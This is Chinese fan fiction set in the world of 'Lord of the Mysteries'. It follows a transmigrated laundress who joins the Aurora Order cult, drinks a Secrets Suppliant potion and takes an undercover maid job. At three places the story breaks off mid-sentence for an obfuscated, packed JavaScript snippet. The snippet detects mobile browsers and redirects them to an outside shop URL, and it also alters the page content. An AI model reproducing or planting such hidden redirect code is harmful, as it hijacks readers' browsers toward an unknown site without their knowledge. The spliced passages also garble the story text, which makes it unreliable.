《【诡秘之主】rp极光会成员要注意什么》 1. 魔药 玛莎在一间昏暗狭窄的房间里醒来。 大量纷乱的记忆涌进了脑子里，让她头痛欲裂。 在黑暗的环境中，她不知道时间过去了多久，但当她终于能接受了这些记忆后，她意识到，自己穿越了。 坏消息：是诡秘世界。 更坏的消息：是天使遍地走的贝克兰德，而她只是贫民窟一般普通洗衣工。 最坏的消息：现在已经是1349年1月了——换句话说，距离大雾霾发生只剩下不到一年。 怎么回去的事情都要往后稍稍，反正大概率不会容易，现在最重要是怎么活过年底。 她费力地支撑起身体，看向被悬挂在床头充当镜子的黄铜锅底：身形瘦削，头发干枯，手指因为长期浸泡在冷水中关节肿胀，充分展现了活着的困难程度。 在她更仔细地思考怎么应对大雾霾这个问题前，门外传来了教堂晨祷开始的悠扬钟声，身体几乎是条件反射地从床上跳起来，慌手乱脚底去找洗衣筐。 通过原主的记忆，她知道自己必须马上出门，这样才能在上午九点前把昨晚洗好的衣物送会对应的顾客家里，这关系到今天能不能吃上一块黑面包。 当她抱起那个沉重的洗衣筐时，全身的肌肉都在抗议她的过度使用——昨天晚上，玛莎抱着它们洗到了凌晨一点，到现在仅仅过去了五个小时。 ——东区特有的煤烟味和垃圾腐烂混合的恶臭扑面而来，天空永远是灰蒙蒙的，雾霾常年笼罩着街道。 马车驶过，溅起的污水差点打湿了玛莎怀里的衣物。她下意识地护紧了衣筐，加快了脚步。 送完衣物，拿到9便士，将其中的5个用在购买街角最便宜的黑面包，抱着面包和一大堆新收到的脏衣服回到这个充满了霉菌的小阁楼继续浆洗，这就是玛莎的日常。 ……真够糟糕的。 深夜，当玛莎终于洗完最后一件沾满油渍的衬衫，双手因为浸泡在冷水中复发的疼痛让她很难集中注意力。营养不良、过度劳作、随时可能死于疾病或饥饿，这意味着她几乎不可能通过任何正常的方式让自己的处境得到一点改善。 也就是说，她必须成为非凡者。 玛莎觉得自己应该还是有点外挂在身上的：知道了这么多旧日相关的知识也没有疯掉；这几个小时里为了思考接下来的行动回忆了一遍又一遍剧情内容，把该想的不该想的名字都想了一遍，也没有因为左脚先进门被橡皮擦天使送到迷雾小镇，或者在街边看到眼神清澈的神父对着她微笑。 那么，有没有一点可能，来自最初的污染，对她这个“外来者”没那么有效？ 她的意思是，在挖掘这具身体的记忆时，她注意到：三天前，有人在东区的街角布道，宣传七神外还有一位名为“原初造物主”的神灵。 虽然大部分贫民只是对他们派发的免费面包感兴趣，对于信奉一位来路不明的存在则缺乏热情，当时的玛莎也是如此，但作为读者，自己很清楚其中的机会。 ——秘祈人也是非凡者啊！唯一的问题就是容易发疯，但如果自己没那么容易发疯呢？ 她试图找一些除了美貌的同事以外加入极光会的理由：比如能升到牧羊人会很强；比如老板是这条赛道上最接近成为旧日的，教会整体还是很有发展前景的；比如虽然要献祭自己的大脑，不过话说回来，自己本来也没有太多这种东西——和黑夜，亚当，克莱恩这些顶级大佬比起来。 玛莎开始怀疑这具身体是不是在吃下面包时已经被污染了，竟然会产生大脑不重要的想法。 但无论如何，这确实是她目前唯一能接近非凡的途径了：加入七神教会？她没有遇到任何异常事件，出身也没什么特别，除非她决定直接走进教会展示自己的非凡知识，但比起收编，这样被当做邪教徒处理掉的概率似乎更大。去野生非凡者集会购买配方？理论上是个好主意，自己知道艾辛格侦探举办的集会时间，说不定有一天还能和知识教会搭上关系，但实际上她有0个金镑，怕是连辅助材料都买不起。克莱恩……首先，自己要保证能活到6月他从源堡上下来。 于是，她开始更频繁地出现在那些布道者活动的区域。 起初只是路过时多看几眼，后来是主动停留，领取面包时多问几句关于他们那位“造物主”的问题。很快，那些布道者注意到了她，毕竟只有她表现得对造物主的兴趣远大于面包。 当玛莎再次抱着摇摇欲坠的洗衣筐，“路过”他们的街角，一位披着黑色斗篷，褐发棕眼，容貌相当符合极光会招聘标准的传教士主动上前和她搭话。 “您似乎经常来这里。” “是啊。” 玛莎干脆地把洗衣筐放在地上。 “我向七神祈祷，但祂们从未回应过我，所以我想：也许，我需要的信仰是一位真正能看到我的神灵。” 传教士的眼睛一下亮了起来。 “正是如此。” “七神或许曾经有过某种力量，但现在他们只是高高在上的一个个符号，教士们忙着和贵族争权夺利，何曾在意过你我的处境？” “但我们的主不同。” “祂创造了世间的万物，也深爱着他们。” “如果，”传教士压低了声音，“如果有一天你遇到了无法解决的困境，诵念这个尊名，也许会得到从未有过的回应。” “创造一切的主……” 在他念完以后，玛莎偏过头，然后当场重复了一遍。 周围的阴影动了一下。 有那么一刻，她确实感受到了阴影背后若有若无的注视，带着一丝探究的意味，但这种感觉很快就消退了。 不知道是那位真实造物主的理智不足以支撑祂观察更长的时间，还是因为自己还只是个普通人，被祂判断为不需要过多的关注。 传教士震惊地看着玛莎。 即使是没有任何神秘学知识的贫民也一定在听说过那些向不明存在祈祷横死的故事，对此慎之又慎，只有已经走投无路的人，才会不顾一切代价地抓住任何可能的希望。 在玛莎反应过来前，他忽然张开双臂，给了玛莎一个拥抱。 “……看来，您在荒野上迷失太久了。”再次开口时，他的语气竟然带上了哽咽的味道。 “但现在，您和我们都回到了祂的怀抱。” 他的眼里没有一丝怀疑，只有对帮迷途的羊羔找到归宿的欣喜。 看来极光会的待遇确实挺好，玛莎想，黑色面料传来的触感感觉和他的大脑一样光滑。 从那以后,她大概算是成为了极光会的外围成员。 先前的传教士告诉玛莎他的名字是加法尔，在询问了她的住址后，玛莎在自己的小阁楼附近也时不时能看到他的身影。 通常，他只是来和玛莎讲述一些基本教义：主要是说明真实造物主的伟大与慈悲；偶尔带来一些小任务，比如收集情报、在贫民区寻找合适的发展对象，报酬是可以让她吃一顿带肉的晚餐。 很幸运，她始终没有接到艾琳那样的自杀式任务。否则她这"虔信者"的人设只能当场破裂。虽然她很喜欢那位引导人类走出混沌纪元，又因背叛而堕落的毛子研究员，但如果接近的代价是自己的生命那当她没说。 三月的最后一天，当玛莎再一次在家门口看到加法尔时，他的神情是前所未有的严肃。 “A先生要见你。” “谁？”她故意问道。 当然，玛莎心里知道是谁：极光会在贝克兰德的负责人，她要获取非凡力量的最后一道考验。 ——就像书中描写的那样，她在宽敞的像神殿一样的地下室里见到了A先生。 “加法尔告诉我，他在东区见到了一位很有潜力的孩子。” A先生的声音很平静，甚至可以称得上温和。 “主创造了我们，有些人是羔羊，有些人是牧羊人。” “你知道区别是什么吗？” “是信仰。”在玛莎开口前，A先生自己给出了答案。 “大多数人只是羔羊，他们没有坚定的信仰，无法理解。在牧羊人治理下，他们能像羔羊一样服从，但当狼群来临时，他们只会四散奔逃。” “而有些人不同，他们知道自己的归属，有着坚定的意志：倾听祂的声音，代行祂的旨意。” “他们是更接近主的存在。” “当然，成为牧羊人不只是荣耀，有时候也是苦难。”A先生继续说道，声音更加低沉。 “祂为我们背负了所有的罪恶和苦难，我们也要为接近他背负祂的苦难。” “并非所有人都能承受这份苦难，即使 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253369|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它在我们身上的重量不及主所背负的万一，但也足以让常人彻底陷入疯狂。” “我也曾经向加法尔讲述过这条道路的艰辛和荣耀，但最后他还是选择停留在现在的位置，选择仅仅以服从为使命。” “你的选择呢？” 这对玛莎来说不是一个需要思考的问题，她正是为此而来的。但她还是极力按捺住心中翻涌的激动，假装是第一次得知还有这样一条道路，犹豫了许久后才用坚定的语气回答：“我愿意承受苦难。” “如果这就是更接近主的道路。” “这当然是！”A先生猛地站起来。 突然的激烈动作让他身上掉下了一点血肉。 肉块在地上跳动着，徒劳地想回到主人的身体里去。 “……” 玛莎的目光在肉块上停留了片刻，忍不住在心中吐槽：你获得了非凡能力，但离人的范畴有点远了，这一切真的值得吗？ 不过A先生显然没有这种顾虑，他随意地把这些肉块捡起来，塞回嘴里，发出一阵令人牙酸的咀嚼声，旋即解开了斗篷。 玛莎还没来得及仔细欣赏那种漂亮到近乎妖异的面容和眼中狂热信仰结合形成的邪异美感，A先生突然在雕塑前跪下，仔细对比着身上血肉模糊的痕迹和雕像上锁链的位置。 “看这些！它们的位置，形状多么的相似……这难道更不是接近主的体现吗？” 啊这。 玛莎只能缓慢地点点头。 ——现在，玛莎在神殿的一角，看着A先生从柜子里取出了一瓶红葡萄酒，一截蜡烛，一朵颜色艳丽的蘑菇和一堆像是草药的粉末。 “红葡萄酒100毫升，在教堂供奉过的蜡烛一截……” 他对着羊皮纸简要介绍后，开始往坩埚里添加材料。 “你要记住的是，魔药分为两个部分：辅助材料和核心材料，前者主要是为了缓和后者带来的负面影响。” “我们刚才添加的只是辅助材料，接下来的才是能让你接近主的核心。” 他的神情变得更加专注，这一次，他打开了另一口密封的银箱，从中取出了一只蝙蝠和一只正在哼着小夜曲的黑蘑菇。 在被扔进沸水中的那一刻，蘑菇的声调猛然拔高了，尖锐的嚎叫声刺的玛莎鼓膜生疼。 但A先生显然已经习惯了这种程度的噪音，他甚至体贴地从抽屉里取出了一只更方便饮用的杯子，摆在坩埚前，表情没有一丝变化。 等到坩埚上方的雾气散去，地下室内重新归安静时，坩埚里只剩下一种奇异的，冒着气泡的黑色液体。 A先生看着她，没有说话，但意思很明显：喝下去，这就是成为秘祈人的魔药了。 “……请允许我最后向主祈祷一次。”她告诉A先生。 玛莎走到那座巨大的雕像前跪下，仰视着倒吊的人形。 希望您一会儿能清醒一点，别把我喊死了，但也别太清醒，把我脑子里的东西都看光了。 她在心里咕哝着——没有提前念诵尊名。这与其说是祈祷，不如说是虚空许愿。 这也是没办法的事，如果自己是是纯粹的旧日遗民，坦诚也许还是加分项，但“书外的穿越者”？不仅令人难以置信，而且很容易被和高维俯视者之类的外神联系起来。 等等，她会在这里不能真和祂们有关吧？ 不，现在不是想这些的时候。 玛莎将交叉的手指扣得更紧，按照书中冥想的技巧，在脑海里反复勾勒不存在现实的平面图形，直到思绪平静下来。 再次起身的时，她像是从信仰中得到了绝对的勇气，用长勺将魔药勺到了空杯中。 A先生没有掩饰自己目光里的欣赏：“许多人都会被眼前的景象所迷惑，加法尔，海勒……他们看不到主展现的未来，仅仅因为陷入疯狂，吐出内脏，主需要他们献出生命之类的小事，就开始犹豫退缩。” “……” 每一次，当玛莎觉得自己差不多可以扮演好一个极光会成员了，A先生便开口说话。 “而你从没有片刻的动摇，每一次考验，只让你更接近主的决心更加坚定。” 并非没有。她在心底吐槽，但面上依然维持神色不变，只是庄重地在胸口逆点了四下作为回应，然后端起魔药一饮而尽。 2. 秘祈人 好苦。 魔药入口的第一刻，玛莎的脑海里只有这一个想法。 这也太苦了……她尝过的所有味道都无法和这玩意儿相比，她必须用尽全力才能不让自己当场吐出来。 为什么……明明相邻途径的观众就好的多…… 但很快她就没有心思去吐槽口感的问题了，随着魔药开始和她的身体结合，她听到了来自那位造物主的呓语。 第一次祈祷时的平静也许只是个幸运的意外：她碰巧遇上了真实造物主比较清醒的时刻，而非自身有什么特殊。这一次，她终于体会到了那种脑子都被搅匀的感觉。 那种呓语甚至很难被称为语言，更像是某种直接作用于精神的混乱洪流。无数破碎的画面、扭曲的概念同时涌入她的意识：血肉和锁链、背叛和堕落、创造和毁灭、以及那种难以用常人的思维去理解的爱……种种矛盾的意志纠缠在一起，像是无数只手一起撕扯她的灵魂。 她感觉自己的思维开始涣散，某种疯狂的冲动在心底升起：去接纳，去融入那片混沌…… 不。 她咬紧牙关，努力在脑海里继续勾勒那些在现实中不存在的事物。我是玛莎。不，我不只是玛莎，但我现在是玛莎。我来自另一个世界，我知道你们的一切，我知道我现在看到的只不过是一段残留在非凡特性里的精神烙印，我不会疯掉，我不能疯掉…… 呓语依然在继续，但它对玛莎的影响似乎正在逐渐减弱——也可能是玛莎开始适应了这种疯狂。就像长时间浸泡在冷水中的手指会逐渐失去知觉一样，她的精神也在这种冲击下变得麻木。 当她的视线再次清晰起来时，世界似乎有些不一样了。 若有若无的视线从四面八方投来，像是有无数双眼睛在暗中窥视；空气中弥漫着某种无形的力量，是曾经举行过万千仪式的残留；同样难以明数的虔诚而绝望的灵魂在这里祈祷——即使他们本身可能都已经不复存在了，强烈的信仰依然在这个空间里留下了不灭的印记。 而在这一切之上，一道更加强大、更加深邃的视线正冰冷地俯视着这里。 那是真实造物主在注视着这里，注视着祂的神殿。 玛莎打了个寒颤。 “赞美主。”看到她睁开眼睛，A先生轻声说道，声音里满是虔诚。 “……赞美主。”玛莎听到自己的声音回答，低沉而沙哑。 A先生主动伸手，示意她可以借力站起来。 指尖出来冰凉滑腻的触感，不像在触摸人的皮肤，更像在触摸一团翻开的血肉——考虑到蔷薇主教的本质，也许事实上也是如此。 但……她不讨厌这种感觉。 那种异样的触感甚至让她感到一丝安心，像是得到了某种确认，某种接纳。 等等。 安心？觉得强大，觉得神秘，甚至感受到其中奇异的美感，在玛莎眼里都还算可接受的选项，但是安心？因为接触一团变异的血肉安心？认真的？ 自己已经因为魔药的影响，认知开始扭曲了吗？ 还是说……这就是隐藏在自己心底的真实？ 即使很清楚加入这个时期的极光会意味着什么：疯狂的信徒，可怕的仪式，被理所当然的牺牲。她依然选择主动去接近，当她如此自然地融入外围成员的角色时，她—— “回去以后尽快举行一次祭祀仪式，感谢主对你的庇护，这会让你的状态更加稳定；举行越多的仪式，能让你越靠近主。” A先生的声音打断了她愈发动摇的认知。 知道扮演法的玛莎大概能猜到原理：被称为“秘祈人”的途径，很可能就是通过举行向隐秘存在的沟通仪式来消化魔药的。 “你应该知道要怎么做吧？” 当然。玛莎回过神来，在服下魔药的同时，真实造物主和命运天使的尊名，基础的神秘学知识，祭祀和仪式魔法，就像本能一样浮现在她的脑海里。她当然知道该如何布置祭坛，如何选择祭品，如何在特定的时间向真是造物主在献上祈祷。 “我知道。” 玛莎停顿了一下，试探性的抛出另一个问题。 “A先生，我之后需要进一步学习那些神秘学语言吗？” 魔药带来了少量巨人语和巨龙语的知识，大概是作为沟通取悦神灵知识的一部分。但缺乏体系，而且第五纪最常用的赫密斯语，似乎并没有被真实造物主更新进秘祈人的知识库里。 “如果你觉得有必要，你可以向主祈祷。”A先生回答，“巨人语、巨龙语、赫密斯语……所有的神秘学语言本质上只是对最初、最古老的那种语言的诠释，而我主掌握着那种语言的源头，祂可以直接赐予你理解。” “——只需向主祈求，玛莎。” 这是他第一次称呼她的名字。 “只需要相信主，祂会在合适的时间让你明白你需要明白的一切。” 还真是符合“秘祈人”的回答啊，玛莎想，通过祈求来获取所有隐秘……大脑对这个途径的作用确实不大，连学习一门语言都不需要去记忆语法和词汇。只要能念对开始仪式的咒文，之后一切就是真实造物主的麻烦了，自己只要负责努力活到仪式结束。 玛莎思考了一下，作为一个虔诚的信徒，这时候她应该表现得更谦卑一些。 “我已经从主那里得到足够多的恩赐了，也许我会在能为主做出更多贡献后再祈求这件事。”她回答。 “主是全知全能的存在，祂不需要我们为祂做什么。” 出乎意料地，A先生严肃地纠正到。 “所谓的任务只是祂给予我们的考验，只是一个让祂看到我们的契机。但恩赐与否只取决于祂的意愿，而不在于你完成了多少任务。” “不要把主当做那种索取供奉，然后给予恩惠的庸俗存在。” 玛莎心下一惊：“抱歉，我不是——” “我明白，你知道恩赐不是可以无尽取用的。这很好，说明你对主有敬畏。但你对主的本质了解的还不够深刻。” A先生的语气恢复了平和。 “好了，既然你提到了希望做出更多贡献，那么，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253370|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会帮你询问主的旨意。” 他走到倒吊人的雕塑前跪下，虔诚地闭上眼睛，似乎在倾听什么。随着时间推移，他的表情变得越来越狰狞，斗篷下隐约可以看到血肉在蠕动，像是有什么东西在他的皮肤下爬行。 玛莎战战兢兢地看着他，也暗自祈祷他不会突然崩溃成一滩血肉，少了这个大雾霾事件的关键角色，她真不知道故事会如何发展了。 好在她的担忧并没有发生，在身体到极限前，A先生突然睁开了眼睛，回过头看着她。 鲜血顺着他的眼角淌下，让他那张原本就漂亮到近乎妖异的脸更加诡异，但本人似乎毫无察觉，声音里只有纯粹的喜悦。 “——主确实有考验交给你。” 那些询问他身体状况的话语卡在了喉咙里，玛莎感到心跳加速。来了，第一件任务。 “住在乔伍德区的柯林斯夫妇，他们家的杂活女仆安妮也是我们的姐妹。”A先生随手抹了一把脸上的血迹。 “上个月，安妮告诉我们：柯林斯夫人变得有些奇怪——安妮同样没有踏上你我这条更接近主的道路，因此无法准确地描述异常所在。但另一件事实是：和她一起工作的另一个杂活女仆这些天变得越来越虚弱，医生开了许多药剂也无济于事。” “她怀疑这两件事中有某种联系。” 听起来确实不同寻常…… “那，安妮还好吗？”玛莎问。 “她一直在向我主祈祷，因此平安无事。”A先生微笑了起来，显然是作为信徒为真实造物主的强大相当得意，“现在那个生病的女仆离开了。你要做的，就是去代替她的工作，观察柯林斯家到底发生了什么，然后回来向我汇报。” 意思是让她去做杂活女仆？ 玛莎愣了一下。这意味着她终于可以离开那间充满霉味的小阁楼，过上有稳定食物和住处的生活了？ “我很愿意。” 她立刻回答，然后才迟疑着补充道： “……虽然，我不确定他们会不会要我。” 对于下层的贫民来说，杂活女仆算得上是一份非常好的工作了，有免费的住宿和食物，一周还有三到六苏勒的工资，因此竞争也相当激烈。 至少，玛莎觉得凭着自己现在这副营养不良的样子，绝无可能在公平竞争中取得。 “不用担心，主不会给予你一个完全不可能完成的任务。” A先生安慰道。 在向神像祈祷后，他的态度似乎变得更友善了一些。虽然不知道真实造物主和他说了什么，但应该不是对自己太负面的评价。 “安妮说过柯林斯先生非常注重隐私，强调选人可靠比一切都重要，所以这周日她会在柯林斯家等你去拜访，她会告诉柯林斯先生你是她的表妹，所以她对你的家庭情况非常了解。只要你表现的还算乖巧，懂得保守秘密，那个位置就会是你的。” 周日……也就是三天后。 玛莎默默地计算着：三天的时间应该足够自己初步适应魔药带来的影响，为第一个任务做准备了。 3. 灵视 离开前，A先生给了她一座小型真实造物主雕像和一张五金镑的纸币。 “你需要准备一些仪式材料和任务必要的伪装。”他说。 “加法尔知道有个地方很适合弄到这些基础的东西，你可以问他具体的地址。” 于是，在问到自己需要的信息后，玛莎揣着那张金镑走出了A先生华丽的庄园，先前那些对于自己自愿加入极光会是不是精神变态的疑虑一下烟消云散了。 ——自己要洗多少衣服才能攒下五镑啊！玛莎想，果然成为非凡者才是唯一的出路。 不过，极光会这工作确实有点粗糙啊……黑夜教会都会把给贫民区的受害者把赔偿金换成更小的面额，防止他们被人盯上，A先生竟然直接把五镑的巨款交给我，也不担心我一走出皇后区就和人打起来，暴露极光会在这里的存在吗。 嗯……也可能他认为只要我们够虔诚，造物主就会保护我们不被抢劫，如果我们被抢劫了，那就是我们的问题……她在心里吐槽。 她决定先去加法尔提到的那个神秘学市场上把金镑换成零碎的苏勒和便士：那里的人应该知道不要轻易通过对方的外表来断定实力。 桥区和东区的分界处，一家看起来平平无奇的酒馆地下室。玛莎报出了加法尔告诉她的暗号，顺利进入了那个狭小阴暗的空间。 蜡烛、精油、银刀……她在不同摊位买齐了这些基础材料，并把金镑全部拆成了面值更小的苏勒和便士。 在路过一个售卖自制护符的摊位时，玛莎犹豫了片刻：她看到了刻画着象征“太阳”的净化符咒——出于显而易见的原因，由她向永恒烈阳祈求帮忙制作这个只会被烤至金黄酥脆。 虽然不知道安妮说的异常究竟是什么，但是太阳途径在对驱散大部分邪异方面都非常好用…… “女士，您对这个感兴趣吗？只要9苏勒。”注意到她的目光，摊主热情地介绍道，“您知道的，制作这一类的护符要用黄金才能起到最好的效果，9苏勒已经非常便宜了。” 那确实很便宜了……但最后，玛莎还是艰难地摇了摇头，拒绝了这个危险的念头。 ——她想起烈阳教会遇到真实造物主相关的遗留只会立刻净化和封印，连利用都不允许，也许反过来也一样，自己即使只是购买和使用太阳相关的东西，也会被A先生视为背叛。 离开酒馆后，她又去附近的成衣铺买了两套齐素色长裙：一套灰色，一套黑色，符合杂活女仆的身份。成衣铺的老板娘看她的眼神有些奇怪，大概在怀疑她的钱是从哪来的，但最后还是明智的什么都没有问，只是收下了她的16苏勒。 当玛莎抱着这堆东西往回走时，太阳已经落下了。 随着她逐渐靠近东区的核心，她忽然感到了一种微妙的不安。 ——这种感觉并不强烈，倘若现在是阳光明媚的午后，或者有人在她身边和她搭话，她一定会把这种细微的感觉忽略过去。但正因为她此刻孤身一人，精神高度紧张，那一点的异样对她来说越来越不可忽视。 一开始，玛莎怀疑有人在跟踪她，她试过绕圈子，走进密集的人群，突然在某个岔路口走向和自己先前看着的相反的方向，但那种若有若无的恐惧并没有消失。 她试过主动给对方创造机会：走进一座废弃的工厂，背对着出口，甚至闭上了眼睛，但袭击也没有发生。 犹豫了片刻后，玛莎重新回到大街上，弯曲了两下左手的食指，第一次打开了灵视。 她看到了痛苦。 街角的贫民窟里，她看到了无数痛苦凝结成近乎实质化的雾气。饥饿，瘟疫，死亡……灾难在这里从不缺席。 她看到了扭曲。 在贝克兰德的地底，比城市下水道更深的地方，是众神时代的遗迹。但它们并不是真的遗迹，那些存在依然没有真正离去。 她看到了在无穷高处，那轮永恒的红月—— 在目光开始不自觉地被月亮吸引的同时，玛莎立刻关闭了灵视。 ——她明白了，这并非针对谁的恶意，而是这个疯狂的世界和荒谬的时代共同造就的狩猎场，每个人都是猎物。 此时，唯一能给予她一点安全感的就是口袋里真实造物主的雕像——一个最简单的仪式魔法：诵念祂的尊名，将自己的鲜血和灵性灌注进祂的塑像里献祭，能短暂地提高□□强度和灵体抗性。 她意识到也许极光会变成这个样子不完全是呓语洗脑的结果。 若有若无的对危险的预感，既没有像“怪物”的那样强大到足以让人彻底崩溃，又长年累月地啃噬着非凡者仅存的理智……就像被狼群环绕的羔羊，即使知道牧羊人残酷无情，即使知道他养着自己也许只是为了等待一个合适的宰杀时机，但那至少是一种保护，至少在狼群扑上来之前，牧羊人会挡在前面。 察觉到这一点后，玛莎强迫自己不要再抓着那座雕塑，不要去依赖祂，即使那感觉已经像是一种本能。 你知道的剧情的，现在还远没有到危险爆发的时刻，你知道的。 她不断安慰这自己。 当玛莎终于忍着灵性直觉带来的恐惧回到小阁楼里，她发现这种折磨并没有因为“回家”消退多少——显然这座破旧的建筑也承载着足够多的痛苦：在原本的那位玛莎的记忆里就有病重的邻居，连1苏勒一周的租金都付不起，被□□拖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253371|197965||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去扔在街上的场景。第二天早上，那个人就死了，她不知道尸体去了哪里。 “……” 玛莎深吸了一口气，强迫自己把注意力转移到更实际的问题上：将神秘学材料和女仆的伪装分类放好，清点换回来的一堆零钱……合计2镑8苏勒。她之前还觉得A先生给经费真是大方，现在来看也没有比必要的数量多太多——果然花钱比赚钱容易多了。 在一切收拾妥当后，玛莎将真实造物主的雕像摆放在房间里唯一一张矮桌上。 她需要用一次献祭仪式来感谢祂在晋升仪式中的庇护。 将三支蜡烛依次摆放在雕像前，通过冥想构建出灵性之墙。 然后，玛莎回到了雕塑前，开始用巨人语诵念真实造物主的尊名。 “……您忠实的仆人祈求您的注视；” “祈求您收下她的奉献；” “祈求您打开国度的门。” 烛光下的阴影一瞬间活过来了，它们像蛇一样扭曲，蠕动，然后扬起了“头颅”，仿佛在询问她准备了什么样的奉献。 玛莎尽量控制住心中的恐惧，用银刀划开指腹，滴了几滴血在阴影上。 毕竟现在她身上其他有点价值的东西都是用A先生给的那笔钱买的，再献给真实造物主多少有点羊毛出在羊身上的幽默了。 “非凡者的血液”是现在唯一属于她自己，能献上的祭品了。 反正祂应该也不会真指望序列9的秘祈人能拿出什么有价值的祭品，重要的是我的态度。玛莎在心里嘀咕着。 在血液接触到阴影的一瞬，火烛跳动了一下，阴影里弥漫着的堕落的意味骤然加重了。 紧接着，一股无形的力量裹挟着那几滴血液，消失在了某个未知的维度。 祂收下了这份献祭。 “……赞美主。”玛莎低声说道，然后按相反的顺序熄灭了蜡烛。 在解开灵性之墙后，她忽然意识到，那种恐怖无处不在的感觉变得模糊了。如果说之前是在恐怖片场挣扎求生，现在她和那些怪物间至少隔了一层阴影编织的轻纱，更像在观看一场演出。 问题解决了？ 这似乎是对她献祭的回报——啊不，按A先生的教导，正确的说法大概是，这是主通过献祭仪式看到了她的虔诚后给予的恩典。 随便吧。她麻木地躺在床上，事已至此，先睡觉吧，另一个坏消息是：和先前想的不太一样，自己的魔药并没有因完成仪式出现消化的迹象，看来即使序列9，扮演起来也没有想象的容易。 三日后。 站在一栋二层的白色小楼前，玛莎深吸了一口气——任务正式开始了。 4. 柯林斯 玛莎按下门铃，很快，一个褐发女孩打开了屋门，神情带着警惕，显然就是安妮了。 “很久没见到你了，安妮。” “我都准备好了。” 玛莎一边说着，一边用眼角的余光确认街上没有其他人，然后在胸前逆点了四下，表明身份。 “玛莎！我——我也很久没见到你了。” 安妮想起她们现在的身份设定。 她后退了一步：“快进来吧。” 跟随着安妮把行李箱放在门口，穿过回廊，玛莎打量着稍快自己几步的女孩，她看起来安静，乖巧，就像良好的女仆应该有的样子。如果没有A先生介绍，完全看不出来是真实造物主的信徒。 安妮在书房门前敲了两下。 “柯林斯先生，我把玛莎带来了。” 玛莎听见纸页翻动的声音，过了一会儿，门开了。 站在门口的男人看着三十岁左右，金发梳的很整齐，灰眼睛里透露着审慎。 艾德里安.柯林斯。玛莎在脑海里迅速回忆起之前A先生转述给自己的基础信息：据说祖上有过一位子爵，但只是旁支末裔，没有继承任何贵族头衔，目前在一家对因蒂斯的贸易公司做事——安妮不知道具体收入有多少，但能请得起两位杂活女仆应该不会低于450镑。 玛莎悄悄开启了灵视。 他的以太体上笼罩着平衡的白色，看来健康状况没什么问题……就是星灵体的颜色有些暗淡……可能存在忧郁或焦虑——这也正常，谁家出了这种事怪事都会担心。 艾德里安打量了玛莎一会儿。 “玛莎是吧？你之前做过杂活女仆吗？” “没在您这样的体面人家做过。”玛莎说出安妮给她设定的答案，语气恭敬，“但是，在从老家来贝克兰德前，我有帮邻居带过小孩，来这里以后也做过洗衣工，家务的事都会一些。” “安妮说你母亲的身体似乎不太好？” “是的，不过有我弟弟在家照顾她，我主要是每个月寄一些生活费回去。” 艾德里安点点头，目光转向了安妮：“带她去让罗丝看看吧，如果罗丝能接受的话，我没问题。” 他的语气里带上了些许无奈的意味“我现在也不知道她在想什么，每天……总之，不刺激她比较重要。” 安妮明智地没有回应这句带刺的话语，只是带着玛莎离开了书房。 “柯林斯夫人这个时候应该在楼上的卧室里。”她简短地解释了一句。 在二楼第一间房间门口，安妮停下脚步。 “夫人，您想见一下我说的玛莎吗？” 安妮努力让自己听起来活泼一些。 “进来吧。”她听见一个有些沙哑的声音。 昏暗的房间里，罗丝.柯林斯恹恹地靠在床头，黑发散乱着，看起来像是很久没有认真的梳洗过了。 以太体的白色也有些薄。玛莎判断到。 “你就是玛莎。”罗丝稍微坐直了身体，招手示意她走近一些。 “是的，夫人。”玛莎向前了几步。 罗丝仔细端详了她一会儿，眉头微微皱起。 “抱歉，但我得说，你看起来……不是很健康。” “没到影响我工作的地步，我保证。”玛莎急切地解释，“我可以做很多事，打扫——” “不是这样。”罗丝打断了她。 “先前，这里还有一个杂活女仆，两周前起突然生病了，医生一开始说是贫血，后来说可能是风寒，到最后我们都没弄清楚是怎么回事。” “我担心的是，如果这栋房子里真的有什么让人生病的东西，你看起来经不起折腾。” ……啊？ 居然是关心自己吗？ 玛莎有些诧异。 而且，她又用灵视观察了一下，从星灵体上来看，她并没有说谎的羞愧或得意。 “……您很好心，夫人。但是我真的非常需要这份工作。”玛莎回答。 “也许安妮和您说过了，我的母亲身体一直不太好，弟弟年龄也还小。” “……即使，这里真的有什么不好的东西，能拿到报酬的话，我也愿意试试……总好过哪天母亲又生病了，我却什么都帮不上。” 卧室里有片刻的安静。 罗丝的眼里闪过一丝复杂的神情。玛莎注意到她的手指无意识地抓紧睡裙领口，然后轻叹了口气。 “先前艾米穿过的工作服，你重新洗过了吗？”她看向安妮。 “我都洗好了。”安妮立刻回答。 ——成功了！玛莎没有掩饰自己的惊喜。 罗丝重新靠回了床头，仿佛这段对话已经耗尽了她全部的精力。 “具体合同之类的问题，你让她和艾德里安说吧。我得休息一会儿。” 